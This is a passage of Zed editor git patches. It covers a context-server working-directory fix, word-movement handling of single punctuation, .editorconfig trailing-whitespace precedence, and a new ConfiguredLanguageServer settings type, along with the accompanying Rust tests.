+        ContextServerConfiguration::Http { .. } => None,
+        _ if is_remote_project => None,
+        _ => root_path,
+    }
+}
+
 /// Determines the appropriate server state after a start attempt fails.
 ///
 /// When the error is an HTTP 401 with no static auth header configured,
diff --git a/crates/project/tests/integration/context_server_store.rs b/crates/project/tests/integration/context_server_store.rs
index 984bb334edbf5a..e6814c29856fe3 100644
--- a/crates/project/tests/integration/context_server_store.rs
+++ b/crates/project/tests/integration/context_server_store.rs
@@ -751,6 +751,98 @@ async fn test_context_server_refreshed_when_worktree_added(cx: &mut TestAppConte
     });
 }
 
+#[gpui::test]
+async fn test_stdio_server_restarts_when_project_root_becomes_available(cx: &mut TestAppContext) {
+    const SERVER_ID: &str = "mcp-1";
+    let server_id = ContextServerId(SERVER_ID.into());
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(
+        path!("/"),
+        json!({"lonely.rs": "", "project": {"code.rs": ""}}),
+    )
+    .await;
+
+    cx.update(|cx| {
+        let settings_store = SettingsStore::test(cx);
+        cx.set_global(settings_store);
+    });
+
+    // Open a single-file worktree, whose `root_dir()` is `None`, so the server is
+    // spawned with no working directory even though it is configured.
+    let project = Project::test(fs.clone(), [path!("/lonely.rs").as_ref()], cx).await;
+
+    let executor = cx.executor();
+    let store = project.read_with(cx, |project, _| project.context_server_store());
+    store.update(cx, |store, _| {
+        store.set_context_server_factory(Box::new(move |id, _| {
+            Arc::new(ContextServer::new(
+                id.clone(),
+                Arc::new(create_fake_transport(id.0.to_string(), executor.clone())),
+            ))
+        }));
+    });
+
+    // Configure the server globally so it starts against the file worktree.
+    {
+        let _server_events = assert_server_events(
+            &store,
+            vec![
+                (server_id.clone(), ContextServerStatus::Starting),
+                (server_id.clone(), ContextServerStatus::Running),
+            ],
+            cx,
+        );
+        set_context_server_configuration(
+            vec![(
+                server_id.0.clone(),
+                settings::ContextServerSettingsContent::Stdio {
+                    enabled: true,
+                    remote: false,
+                    command: ContextServerCommand {
+                        path: "somebinary".into(),
+                        args: vec!["arg".to_string()],
+                        env: None,
+                        timeout: None,
+                    },
+                },
+            )],
+            cx,
+        );
+        cx.run_until_parked();
+    }
+
+    // Adding a directory worktree makes the project root resolvable. Since the
+    // server was started with working directory `None`, it must be restarted so
+    // it picks up the new root — otherwise it keeps running under Zed's own cwd.
+    {
+        let _server_events = assert_server_events(
+            &store,
+            vec![
+                (server_id.clone(), ContextServerStatus::Stopped),
+                (server_id.clone(), ContextServerStatus::Starting),
+                (server_id.clone(), ContextServerStatus::Running),
+            ],
+            cx,
+        );
+        project
+            .update(cx, |project, cx| {
+                project.find_or_create_worktree(path!("/project"), true, cx)
+            })
+            .await
+            .expect("Failed to add worktree");
+        cx.run_until_parked();
+    }
+
+    cx.update(|cx| {
+        assert_eq!(
+            store.read(cx).status_for_server(&server_id),
+            Some(ContextServerStatus::Running),
+            "Server should be running again after restarting with the project root"
+        );
+    });
+}
+
 #[gpui::test]
 async fn test_server_ids_includes_disabled_servers(cx: &mut TestAppContext) {
     const ENABLED_SERVER_ID: &str = "enabled-server";

From 482963d5e9666ac52d99e98ee91a220d7bc24748 Mon Sep 17 00:00:00 2001
From: Maja Backman <maja@hbackman.com>
Date: Wed, 22 Jul 2026 21:00:52 +0000
Subject: [PATCH 639/772] editor: Treat single punctuation as a word boundary
 (#58882)

## Context

`next_word_end` and `previous_word_start` have a special case that skips
a punctuation character so that word movement treats the punctuation as
a part of the word (`|.foo` -> `.foo|`). But the check only looked at
whether the next char was punctuation, not whitespace, so it skipped
single punctuation marks.

	foo |. bar -> foo . bar| (should be `foo .| bar`)

Fix: only skip the punctuation when it's next to a word char.

Closes #55601

## How to Review

In any buffer, type `foo . bar`:

- Cursor before `.`, alt-right -> stops after the `.` (`foo .| bar`),
not at the end of `bar`.
- Cursor after `.`, alt-left -> stops before the `.` (`foo |. bar`).

##  Self-Review Checklist

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed word movement skipping single punctuation characters surrounded
by whitespace.

---------

Co-authored-by: Martin Ye <martin@zed.dev>
Co-authored-by: MartinYe1234 <52641447+MartinYe1234@users.noreply.github.com>
---
 crates/editor/src/movement.rs | 86 +++++++++++++++++++++++++++++------
 1 file changed, 71 insertions(+), 15 deletions(-)

diff --git a/crates/editor/src/movement.rs b/crates/editor/src/movement.rs
index 92b1a30cf2231b..de46fdcc8704e6 100644
--- a/crates/editor/src/movement.rs
+++ b/crates/editor/src/movement.rs
@@ -265,24 +265,69 @@ pub fn line_end(
 /// uppercase letter, lowercase letter, '_' character or language-specific word character (like '-' in CSS).
 pub fn previous_word_start(map: &DisplaySnapshot, point: DisplayPoint) -> DisplayPoint {
     let raw_point = point.to_point(map);
-    let classifier = map.buffer_snapshot().char_classifier_at(raw_point);
+    let buffer_snapshot = map.buffer_snapshot();
+    let classifier = buffer_snapshot.char_classifier_at(raw_point);
+    let cursor_offset = raw_point.to_offset(buffer_snapshot);
+    let cursor_char = buffer_snapshot.chars_at(cursor_offset).next();
 
     let mut is_first_iteration = true;
-    find_preceding_boundary_display_point(map, point, FindRange::MultiLine, &mut |left, right| {
-        // Make alt-left skip punctuation to respect VSCode behaviour. For example: hello.| goes to |hello.
-        if is_first_iteration
-            && classifier.is_punctuation(right)
-            && !classifier.is_punctuation(left)
-            && left != '\n'
-        {
+    let word_start = find_preceding_boundary_display_point(
+        map,
+        point,
+        FindRange::MultiLine,
+        &mut |left, right| {
+            // Make alt-left skip punctuation to respect VSCode behaviour. For example: hello.| goes to |hello.
+            if is_first_iteration
+                && classifier.is_punctuation(right)
+                && !classifier.is_punctuation(left)
+                && left != '\n'
+                && (!classifier.is_whitespace(left)
+                    || cursor_char.is_some_and(|character| {
+                        !classifier.is_whitespace(character) && character != '\n'
+                    }))
+            {
+                is_first_iteration = false;
+                return false;
+            }
             is_first_iteration = false;
-            return false;
-        }
-        is_first_iteration = false;
 
-        (classifier.kind(left) != classifier.kind(right) && !classifier.is_whitespace(right))
-            || left == '\n'
-    })
+            (classifier.kind(left) != classifier.kind(right) && !classifier.is_whitespace(right))
+                || left == '\n'
+        },
+    );
+
+    let word_start_point = word_start.to_point(map);
+    let word_start_offset = word_start_point.to_offset(buffer_snapshot);
+    let mut chars_before_word = buffer_snapshot.reversed_chars_at(word_start_offset);
+    let Some(punctuation) = chars_before_word
+        .next()
+        .filter(|character| classifier.is_punctuation(*character))
+    else {
+        return word_start;
+    };
+
+    let punctuation_is_single = chars_before_word
+        .next()
+        .is_none_or(|character| !classifier.is_punctuation(character));
+    let punctuation_prefixes_word = buffer_snapshot
+        .chars_at(word_start_offset)
+        .next()
+        .is_some_and(|character| classifier.is_word(character));
+    let cursor_is_at_word_end = buffer_snapshot
+        .reversed_chars_at(cursor_offset)
+        .next()
+        .is_some_and(|character| classifier.is_word(character))
+        && cursor_char.is_none_or(|character| !classifier.is_word(character));
+
+    // Forward movement treats a single punctuation prefix as part of the following word.
+    // Include it when moving back from the word's end so `|@word` and `@word|` are symmetric.
+    if cursor_is_at_word_end && punctuation_is_single && punctuation_prefixes_word {
+        let mut punctuation_offset = word_start_offset;
+        punctuation_offset -= punctuation.len_utf8();
+        punctuation_offset.to_display_point(map)
+    } else {
+        word_start
+    }
 }
 
 /// Returns a position of the previous word boundary, where a word character is defined as either
@@ -446,7 +491,7 @@ pub fn next_word_end(map: &DisplaySnapshot, point: DisplayPoint) -> DisplayPoint
         // Make alt-right skip punctuation to respect VSCode behaviour. For example: |.hello goes to .hello|
         if is_first_iteration
             && classifier.is_punctuation(left)
-            && !classifier.is_punctuation(right)
+            && classifier.is_word(right)
             && right != '\n'
         {
             is_first_iteration = false;
@@ -1073,6 +1118,13 @@ mod tests {
         assert("helloˇ.---..ˇtest", cx);
         assert("test  ˇ.--ˇtest", cx);
         assert("oneˇ,;:!?ˇtwo", cx);
+        assert("foo ˇ.ˇ bar", cx);
+        assert("ˇfoo @ˇbar", cx);
+        assert("foo ˇ@barˇ baz", cx);
+        assert("foo @ˇbˇar", cx);
+        assert("foo ..ˇbarˇ baz", cx);
+        assert("ˇ.helloˇ", cx);
+        assert("[2001:4860:4860::8888ˇ] ˇ", cx);
     }
 
     #[gpui::test]
@@ -1256,6 +1308,10 @@ mod tests {
         assert("helloˇ.---..ˇtest", cx);
         assert("testˇ.--ˇ test", cx);
         assert("oneˇ,;:!?ˇtwo", cx);
+        assert("foo ˇ.ˇ bar", cx);
+        assert("fooˇ.ˇ bar", cx);
+        assert("foo ˇ@barˇ baz", cx);
+        assert("[2001:4860:4860::8888ˇ]ˇ ", cx);
     }
 
     #[gpui::test]

From 94792bdbfc04ca035863eab894254c04f9733af6 Mon Sep 17 00:00:00 2001
From: Mohit Goyal <goel0632@gmail.com>
Date: Wed, 22 Jul 2026 21:10:32 +0000
Subject: [PATCH 640/772] Respect disabled trailing whitespace removal (#58776)

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
 - [x] Tests cover the new/changed behavior
 - [x] Performance impact has been considered and is acceptable

  Closes #58686

Release Notes:

- Fixed `.editorconfig` re-enabling trailing whitespace removal when Zed
settings disable it.

---------

Co-authored-by: Martin Ye <martin@zed.dev>
---
 crates/editor/src/editor_tests.rs             | 70 +++++++++++++++++++
 crates/language/src/language_settings.rs      | 12 +++-
 .../tests/integration/project_tests.rs        | 24 ++++++-
 3 files changed, 102 insertions(+), 4 deletions(-)

diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index d7c68d63997503..18c56ef03a7a44 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -16,6 +16,7 @@ use crate::{
 };
 use buffer_diff::{BufferDiff, DiffHunkSecondaryStatus, DiffHunkStatus, DiffHunkStatusKind};
 use collections::HashMap;
+use fs::Fs as _;
 use futures::{StreamExt, channel::oneshot};
 use gpui::{
     BackgroundExecutor, DismissEvent, Task, TaskExt, TestAppContext, UpdateGlobal,
@@ -17603,6 +17604,75 @@ async fn test_multiple_formatters(cx: &mut TestAppContext) {
     });
 }
 
+#[gpui::test]
+async fn test_markdown_save_respects_disabled_trailing_whitespace_removal(cx: &mut TestAppContext) {
+    init_test(cx, |settings| {
+        settings.defaults.ensure_final_newline_on_save = Some(false);
+        settings.languages.0.insert(
+            "Markdown".into(),
+            LanguageSettingsContent {
+                remove_trailing_whitespace_on_save: Some(false),
+                ..Default::default()
+            },
+        );
+    });
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_file(
+        path!("/.editorconfig"),
+        "root = true\n[*]\ntrim_trailing_whitespace = true\n".into(),
+    )
+    .await;
+    fs.insert_file(path!("/README.md"), "".into()).await;
+
+    let project = Project::test(fs.clone(), [path!("/").as_ref()], cx).await;
+    let language_registry = project.read_with(cx, |project, _| project.languages().clone());
+    language_registry.add(markdown_lang());
+
+    let buffer = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer(path!("/README.md"), cx)
+        })
+        .await
+        .unwrap();
+
+    let buffer = cx.new(|cx| MultiBuffer::singleton(buffer, cx));
+    let (editor, cx) = cx.add_window_view(|window, cx| {
+        build_editor_with_project(project.clone(), buffer, window, cx)
+    });
+    editor.update_in(cx, |editor, window, cx| {
+        editor.set_text("line with spaces  \n", window, cx)
+    });
+
+    let save = editor
+        .update_in(cx, |editor, window, cx| {
+            editor.save(
+                SaveOptions {
+                    format: true,
+                    force_format: false,
+                    autosave: false,
+                },
+                project.clone(),
+                window,
+                cx,
+            )
+        })
+        .unwrap();
+    save.await;
+
+    assert_eq!(
+        editor.update(cx, |editor, cx| editor.text(cx)),
+        "line with spaces  \n"
+    );
+    assert_eq!(
+        fs.load(path!("/README.md").as_ref())
+            .await
+            .unwrap()
+            .replace("\r\n", "\n"),
+        "line with spaces  \n"
+    );
+}
+
 #[gpui::test]
 async fn test_organize_imports_manual_trigger(cx: &mut TestAppContext) {
     init_test(cx, |settings| {
diff --git a/crates/language/src/language_settings.rs b/crates/language/src/language_settings.rs
index 1cf70338f46b1a..0b5c68a4af8234 100644
--- a/crates/language/src/language_settings.rs
+++ b/crates/language/src/language_settings.rs
@@ -695,9 +695,15 @@ fn merge_with_editorconfig(settings: &mut LanguageSettings, cfg: &EditorconfigPr
         .merge_from_option(preferred_line_length.as_ref());
     settings.tab_size.merge_from_option(tab_size.as_ref());
     settings.hard_tabs.merge_from_option(hard_tabs.as_ref());
-    settings
-        .remove_trailing_whitespace_on_save
-        .merge_from_option(remove_trailing_whitespace_on_save.as_ref());
+    // Avoid re-enabling destructive whitespace trimming when Zed settings have
+    // disabled it, e.g. for Markdown hard breaks.
+    if !matches!(remove_trailing_whitespace_on_save, Some(true))
+        || settings.remove_trailing_whitespace_on_save
+    {
+        settings
+            .remove_trailing_whitespace_on_save
+            .merge_from_option(remove_trailing_whitespace_on_save.as_ref());
+    }
     settings
         .ensure_final_newline_on_save
         .merge_from_option(ensure_final_newline_on_save.as_ref());
diff --git a/crates/project/tests/integration/project_tests.rs b/crates/project/tests/integration/project_tests.rs
index e4796b29a1c1ef..f6f8ac8eab8420 100644
--- a/crates/project/tests/integration/project_tests.rs
+++ b/crates/project/tests/integration/project_tests.rs
@@ -254,7 +254,10 @@ async fn test_editorconfig_support(cx: &mut gpui::TestAppContext) {
             max_line_length = 120
         [*.js]
             tab_width = 10
+            trim_trailing_whitespace = false
             max_line_length = off
+        [*.json]
+            trim_trailing_whitespace = true
         "#,
         ".zed": {
             "settings.json": r#"{
@@ -264,6 +267,17 @@ async fn test_editorconfig_support(cx: &mut gpui::TestAppContext) {
                 "remove_trailing_whitespace_on_save": false,
                 "preferred_line_length": 64,
                 "soft_wrap": "editor_width",
+                "languages": {
+                    "JavaScript": {
+                        "remove_trailing_whitespace_on_save": true,
+                    },
+                    "JSON": {
+                        "remove_trailing_whitespace_on_save": true,
+                    },
+                    "Markdown": {
+                        "remove_trailing_whitespace_on_save": true,
+                    },
+                },
             }"#,
         },
         "a.rs": "fn a() {\n    A\n}",
@@ -293,6 +307,7 @@ async fn test_editorconfig_support(cx: &mut gpui::TestAppContext) {
             "e.rs": "fn e() {\n    E\n}",
         },
         "README.json": "tabs are better\n",
+        "README.md": "spaces are meaningful  \n",
     }));
 
     let path = dir.path();
@@ -303,6 +318,7 @@ async fn test_editorconfig_support(cx: &mut gpui::TestAppContext) {
     let language_registry = project.read_with(cx, |project, _| project.languages().clone());
     language_registry.add(js_lang());
     language_registry.add(json_lang());
+    language_registry.add(markdown_lang());
     language_registry.add(rust_lang());
 
     let worktree = project.update(cx, |project, cx| project.worktrees(cx).next().unwrap());
@@ -325,11 +341,14 @@ async fn test_editorconfig_support(cx: &mut gpui::TestAppContext) {
     let settings_d = settings_for("d/d.rs", cx).await;
     let settings_e = settings_for("e/e.rs", cx).await;
     let settings_readme = settings_for("README.json", cx).await;
+    let settings_markdown = settings_for("README.md", cx).await;
     // .editorconfig overrides .zed/settings
     assert_eq!(Some(settings_a.tab_size), NonZeroU32::new(3));
     assert_eq!(settings_a.hard_tabs, true);
     assert_eq!(settings_a.ensure_final_newline_on_save, true);
-    assert_eq!(settings_a.remove_trailing_whitespace_on_save, true);
+    // .editorconfig can disable trailing whitespace removal, but should not
+    // re-enable it when Zed settings have disabled it.
+    assert_eq!(settings_a.remove_trailing_whitespace_on_save, false);
     assert_eq!(settings_a.line_ending, LineEndingSetting::EnforceLf);
     assert_eq!(settings_a.preferred_line_length, 120);
 
@@ -348,6 +367,9 @@ async fn test_editorconfig_support(cx: &mut gpui::TestAppContext) {
 
     // "indent_size" is not set, so "tab_width" is used
     assert_eq!(Some(settings_c.tab_size), NonZeroU32::new(10));
+    assert_eq!(settings_c.remove_trailing_whitespace_on_save, false);
+    assert_eq!(settings_readme.remove_trailing_whitespace_on_save, true);
+    assert_eq!(settings_markdown.remove_trailing_whitespace_on_save, true);
 
     // When max_line_length is "off", default to .zed/settings.json
     assert_eq!(settings_b.preferred_line_length, 64);

From c4c55bade4fda1038f3e46bc54c80932ee6f8022 Mon Sep 17 00:00:00 2001
From: Finn Evers <finn@zed.dev>
Date: Wed, 22 Jul 2026 21:48:46 +0000
Subject: [PATCH 641/772] Add wrapper type for language servers in settings
 (#61398)

This is in preparation for making configuration of language servers more
comfortable for users/extensions.

Release Notes:

- N/A
---
 .../remote_editing_collaboration_tests.rs     |   8 +-
 crates/editor/src/editor_tests.rs             |   8 +-
 crates/language/src/language_settings.rs      |  32 +++--
 .../remote_server/src/remote_editing_tests.rs |  15 +-
 crates/settings_content/src/language.rs       | 132 ++++++++++++++----
 5 files changed, 145 insertions(+), 50 deletions(-)

diff --git a/crates/collab/tests/integration/remote_editing_collaboration_tests.rs b/crates/collab/tests/integration/remote_editing_collaboration_tests.rs
index d5552c5f11dc0d..3da8fbe6508c3b 100644
--- a/crates/collab/tests/integration/remote_editing_collaboration_tests.rs
+++ b/crates/collab/tests/integration/remote_editing_collaboration_tests.rs
@@ -14,7 +14,7 @@ use gpui::{
 use http_client::BlockedHttpClient;
 use language::{
     FakeLspAdapter, Language, LanguageConfig, LanguageMatcher, LanguageRegistry,
-    language_settings::{Formatter, FormatterList, LanguageSettings},
+    language_settings::{ConfiguredLanguageServer, Formatter, FormatterList, LanguageSettings},
     rust_lang, tree_sitter_typescript,
 };
 use node_runtime::NodeRuntime;
@@ -180,7 +180,7 @@ async fn test_sharing_an_ssh_remote_project(
     cx_b.read(|cx| {
         assert_eq!(
             LanguageSettings::for_buffer(buffer_b.read(cx), cx).language_servers,
-            ["override-rust-analyzer".to_string()]
+            [ConfiguredLanguageServer::new("override-rust-analyzer")]
         )
     });
 
@@ -1441,7 +1441,7 @@ async fn test_ssh_remote_worktree_trust(cx_a: &mut TestAppContext, server_cx: &m
     cx_a.read(|cx| {
         assert_eq!(
             LanguageSettings::for_buffer(buffer_before_approval.read(cx), cx).language_servers,
-            ["...".to_string()],
+            [ConfiguredLanguageServer::new("...")],
             "remote .zed/settings.json must not sync before trust approval"
         )
     });
@@ -1469,7 +1469,7 @@ async fn test_ssh_remote_worktree_trust(cx_a: &mut TestAppContext, server_cx: &m
     cx_a.read(|cx| {
         assert_eq!(
             LanguageSettings::for_buffer(buffer_before_approval.read(cx), cx).language_servers,
-            ["override-rust-analyzer".to_string()],
+            [ConfiguredLanguageServer::new("override-rust-analyzer")],
             "remote .zed/settings.json should sync after trust approval"
         )
     });
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index 18c56ef03a7a44..ff3e9bb162b876 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -39242,7 +39242,9 @@ async fn test_local_worktree_trust(cx: &mut TestAppContext) {
                 cx
             )
             .language_servers,
-            ["...".to_string()],
+            [language::language_settings::ConfiguredLanguageServer::new(
+                "..."
+            )],
             "local .zed/settings.json must not apply before trust approval"
         )
     });
@@ -39275,7 +39277,9 @@ async fn test_local_worktree_trust(cx: &mut TestAppContext) {
                 cx
             )
             .language_servers,
-            ["override-rust-analyzer".to_string()],
+            [language::language_settings::ConfiguredLanguageServer::new(
+                "override-rust-analyzer"
+            )],
             "local .zed/settings.json should apply after trust approval"
         )
     });
diff --git a/crates/language/src/language_settings.rs b/crates/language/src/language_settings.rs
index 0b5c68a4af8234..b73822723de1f6 100644
--- a/crates/language/src/language_settings.rs
+++ b/crates/language/src/language_settings.rs
@@ -12,15 +12,15 @@ use ec4rs::{
 };
 use globset::{Glob, GlobMatcher, GlobSet, GlobSetBuilder};
 use gpui::{App, Modifiers, SharedString};
-use itertools::{Either, Itertools};
+use itertools::Itertools;
 use settings::{DocumentFoldingRanges, DocumentSymbols, IntoGpui, SemanticTokens};
 
 pub use settings::{
-    AutoIndentMode, CompletionSettingsContent, EditPredictionDataCollectionChoice,
-    EditPredictionPromptFormatContent, EditPredictionProvider, EditPredictionsMode, FormatOnSave,
-    Formatter, FormatterList, InlayHintKind, LanguageSettingsContent, LineEndingSetting,
-    LspInsertMode, REST_OF_LANGUAGE_SERVERS, RewrapBehavior, ShowWhitespaceSetting, SoftWrap,
-    WordsCompletionMode,
+    AutoIndentMode, CompletionSettingsContent, ConfiguredLanguageServer,
+    EditPredictionDataCollectionChoice, EditPredictionPromptFormatContent, EditPredictionProvider,
+    EditPredictionsMode, FormatOnSave, Formatter, FormatterList, InlayHintKind,
+    LanguageSettingsContent, LineEndingSetting, LspInsertMode, REST_OF_LANGUAGE_SERVERS,
+    RewrapBehavior, ShowWhitespaceSetting, SoftWrap, WordsCompletionMode,
 };
 use settings::{RegisterSetting, Settings, SettingsLocation, SettingsStore, merge_from::MergeFrom};
 use shellexpand;
@@ -102,7 +102,7 @@ pub struct LanguageSettings {
     /// special tokens:
     /// - `"!<language_server_id>"` - A language server ID prefixed with a `!` will be disabled.
     /// - `"..."` - A placeholder to refer to the **rest** of the registered language servers for this language.
-    pub language_servers: Vec<String>,
+    pub language_servers: Vec<ConfiguredLanguageServer>,
     /// Controls how semantic tokens from language servers are used for syntax highlighting.
     pub semantic_tokens: SemanticTokens,
     /// Controls whether folding ranges from language servers are used instead of
@@ -355,18 +355,22 @@ impl LanguageSettings {
     }
 
     pub(crate) fn resolve_language_servers(
-        configured_language_servers: &[String],
+        configured_language_servers: &[ConfiguredLanguageServer],
         available_language_servers: &[LanguageServerName],
     ) -> Vec<LanguageServerName> {
         let (disabled_language_servers, enabled_language_servers): (
             Vec<LanguageServerName>,
             Vec<LanguageServerName>,
-        ) = configured_language_servers.iter().partition_map(
-            |language_server| match language_server.strip_prefix('!') {
-                Some(disabled) => Either::Left(LanguageServerName(disabled.to_string().into())),
-                None => Either::Right(LanguageServerName(language_server.clone().into())),
-            },
-        );
+        ) = configured_language_servers
+            .iter()
+            .partition_map(|language_server| {
+                let name = LanguageServerName(language_server.name.clone().into());
+                if language_server.disabled {
+                    itertools::Either::Left(name)
+                } else {
+                    itertools::Either::Right(name)
+                }
+            });
 
         let rest = available_language_servers
             .iter()
diff --git a/crates/remote_server/src/remote_editing_tests.rs b/crates/remote_server/src/remote_editing_tests.rs
index 16633b156d533b..0d53e3d9b470d8 100644
--- a/crates/remote_server/src/remote_editing_tests.rs
+++ b/crates/remote_server/src/remote_editing_tests.rs
@@ -28,7 +28,7 @@ use gpui::{AppContext as _, Entity, SharedString, TestAppContext, UpdateGlobal,
 use http_client::{BlockedHttpClient, FakeHttpClient};
 use language::{
     Buffer, FakeLspAdapter, LanguageConfig, LanguageMatcher, LanguageRegistry, LineEnding, Point,
-    language_settings::{AllLanguageSettings, LanguageSettings},
+    language_settings::{AllLanguageSettings, ConfiguredLanguageServer, LanguageSettings},
 };
 use lsp::{
     CompletionContext, CompletionResponse, CompletionTriggerKind, DEFAULT_LSP_REQUEST_TIMEOUT,
@@ -557,7 +557,7 @@ async fn test_remote_settings(cx: &mut TestAppContext, server_cx: &mut TestAppCo
             AllLanguageSettings::get_global(cx)
                 .language(None, Some(&"Rust".into()), cx)
                 .language_servers,
-            ["from-local-settings"],
+            [ConfiguredLanguageServer::new("from-local-settings")],
             "User language settings should be synchronized with the server settings"
         )
     });
@@ -578,7 +578,7 @@ async fn test_remote_settings(cx: &mut TestAppContext, server_cx: &mut TestAppCo
             AllLanguageSettings::get_global(cx)
                 .language(None, Some(&"Rust".into()), cx)
                 .language_servers,
-            ["from-server-settings".to_string()],
+            [ConfiguredLanguageServer::new("from-server-settings")],
             "Server language settings should take precedence over the user settings"
         )
     });
@@ -639,14 +639,14 @@ async fn test_remote_settings(cx: &mut TestAppContext, server_cx: &mut TestAppCo
             )
             .language(None, Some(&"Rust".into()), cx)
             .language_servers,
-            ["override-rust-analyzer".to_string()]
+            [ConfiguredLanguageServer::new("override-rust-analyzer")]
         )
     });
 
     cx.read(|cx| {
         assert_eq!(
             LanguageSettings::for_buffer(buffer.read(cx), cx).language_servers,
-            ["override-rust-analyzer".to_string()]
+            [ConfiguredLanguageServer::new("override-rust-analyzer")]
         )
     });
 }
@@ -793,7 +793,10 @@ async fn test_remote_lsp(cx: &mut TestAppContext, server_cx: &mut TestAppContext
     cx.read(|cx| {
         assert_eq!(
             LanguageSettings::for_buffer(buffer.read(cx), cx).language_servers,
-            ["rust-analyzer".to_string(), "fake-analyzer".to_string()]
+            [
+                ConfiguredLanguageServer::new("rust-analyzer"),
+                ConfiguredLanguageServer::new("fake-analyzer"),
+            ]
         )
     });
 
diff --git a/crates/settings_content/src/language.rs b/crates/settings_content/src/language.rs
index ddbfe53b2136cd..922b5211eb97ba 100644
--- a/crates/settings_content/src/language.rs
+++ b/crates/settings_content/src/language.rs
@@ -1,4 +1,4 @@
-use std::num::NonZeroU32;
+use std::{borrow::Cow, num::NonZeroU32};
 
 use collections::{HashMap, HashSet};
 use schemars::JsonSchema;
@@ -58,7 +58,7 @@ impl merge_from::MergeFrom for AllLanguageSettingsContent {
         let globally_disabled_servers = other.defaults.language_servers.as_ref().map(|servers| {
             servers
                 .iter()
-                .filter(|entry| entry.starts_with('!'))
+                .filter(|entry| entry.disabled)
                 .cloned()
                 .collect::<Vec<_>>()
         });
@@ -68,14 +68,13 @@ impl merge_from::MergeFrom for AllLanguageSettingsContent {
             if let Some(mut language_server_overrides) = language_server_overrides {
                 if let Some(disabled) = &globally_disabled_servers {
                     for disabled_server in disabled {
-                        if let Some(enabled_server) = disabled_server.strip_prefix('!') {
-                            language_server_overrides.retain(|entry| entry != enabled_server);
-                        }
+                        language_server_overrides
+                            .retain(|entry| entry.disabled || entry.name != disabled_server.name);
                     }
 
                     let insert_before = language_server_overrides
                         .iter()
-                        .position(|entry| entry == REST_OF_LANGUAGE_SERVERS)
+                        .position(|entry| entry.name.as_ref() == REST_OF_LANGUAGE_SERVERS)
                         .unwrap_or(language_server_overrides.len());
                     for disabled_server in disabled {
                         if !language_server_overrides.contains(disabled_server) {
@@ -420,6 +419,63 @@ pub enum SoftWrap {
 
 pub const REST_OF_LANGUAGE_SERVERS: &str = "...";
 
+#[derive(Clone, Debug, PartialEq, Eq, JsonSchema)]
+#[schemars(with = "String")]
+pub struct ConfiguredLanguageServer {
+    pub name: Arc<str>,
+    pub disabled: bool,
+}
+
+impl ConfiguredLanguageServer {
+    const DISABLED_CHAR: char = '!';
+
+    pub fn new(name: impl Into<Arc<str>>) -> Self {
+        Self {
+            name: name.into(),
+            disabled: false,
+        }
+    }
+
+    pub fn new_disabled(name: impl Into<Arc<str>>) -> Self {
+        Self {
+            name: name.into(),
+            disabled: true,
+        }
+    }
+}
+
+impl From<&str> for ConfiguredLanguageServer {
+    fn from(value: &str) -> Self {
+        match value.strip_prefix(Self::DISABLED_CHAR) {
+            Some(name) => Self::new_disabled(name),
+            None => Self::new(value),
+        }
+    }
+}
+
+impl Serialize for ConfiguredLanguageServer {
+    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
+    where
+        S: serde::Serializer,
+    {
+        if self.disabled {
+            serializer.collect_str(&format_args!("{}{}", Self::DISABLED_CHAR, self.name))
+        } else {
+            serializer.serialize_str(&self.name)
+        }
+    }
+}
+
+impl<'de> Deserialize<'de> for ConfiguredLanguageServer {
+    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
+    where
+        D: serde::Deserializer<'de>,
+    {
+        let value = Cow::<'de, str>::deserialize(deserializer)?;
+        Ok(Self::from(value.as_ref()))
+    }
+}
+
 /// The settings for a particular language.
 #[with_fallible_options]
 #[derive(Debug, Clone, Default, PartialEq, Serialize, Deserialize, JsonSchema, MergeFrom)]
@@ -511,7 +567,7 @@ pub struct LanguageSettingsContent {
     /// - `"..."` - A placeholder to refer to the **rest** of the registered language servers for this language.
     ///
     /// Default: ["..."]
-    pub language_servers: Option<Vec<String>>,
+    pub language_servers: Option<Vec<ConfiguredLanguageServer>>,
     /// Controls how semantic tokens from language servers are used for syntax highlighting.
     ///
     /// Options:
@@ -1282,6 +1338,31 @@ mod test {
         assert!(matches!(result, ParseStatus::Failed { .. }));
     }
 
+    #[test]
+    fn test_configured_language_server_serialization() {
+        let enabled = ConfiguredLanguageServer::new("rust-analyzer");
+        let disabled = ConfiguredLanguageServer::new_disabled("rust-analyzer");
+
+        assert_eq!(
+            serde_json::to_string(&enabled).expect("enabled server should serialize"),
+            "\"rust-analyzer\""
+        );
+        assert_eq!(
+            serde_json::to_string(&disabled).expect("disabled server should serialize"),
+            "\"!rust-analyzer\""
+        );
+        assert_eq!(
+            serde_json::from_str::<ConfiguredLanguageServer>("\"rust-analyzer\"")
+                .expect("enabled server should deserialize"),
+            enabled
+        );
+        assert_eq!(
+            serde_json::from_str::<ConfiguredLanguageServer>("\"!rust-analyzer\"")
+                .expect("disabled server should deserialize"),
+            disabled
+        );
+    }
+
     #[test]
     fn test_language_servers_merge_preserves_per_language_config() {
         let mut base = AllLanguageSettingsContent {
@@ -1328,11 +1409,11 @@ mod test {
         assert_eq!(
             ts_servers,
             &vec![
-                "!typescript-language-server".to_string(),
-                "vtsls".to_string(),
-                "!eslint".to_string(),
-                "!tailwindcss-language-server".to_string(),
-                REST_OF_LANGUAGE_SERVERS.to_string(),
+                ConfiguredLanguageServer::new_disabled("typescript-language-server"),
+                ConfiguredLanguageServer::new("vtsls"),
+                ConfiguredLanguageServer::new_disabled("eslint"),
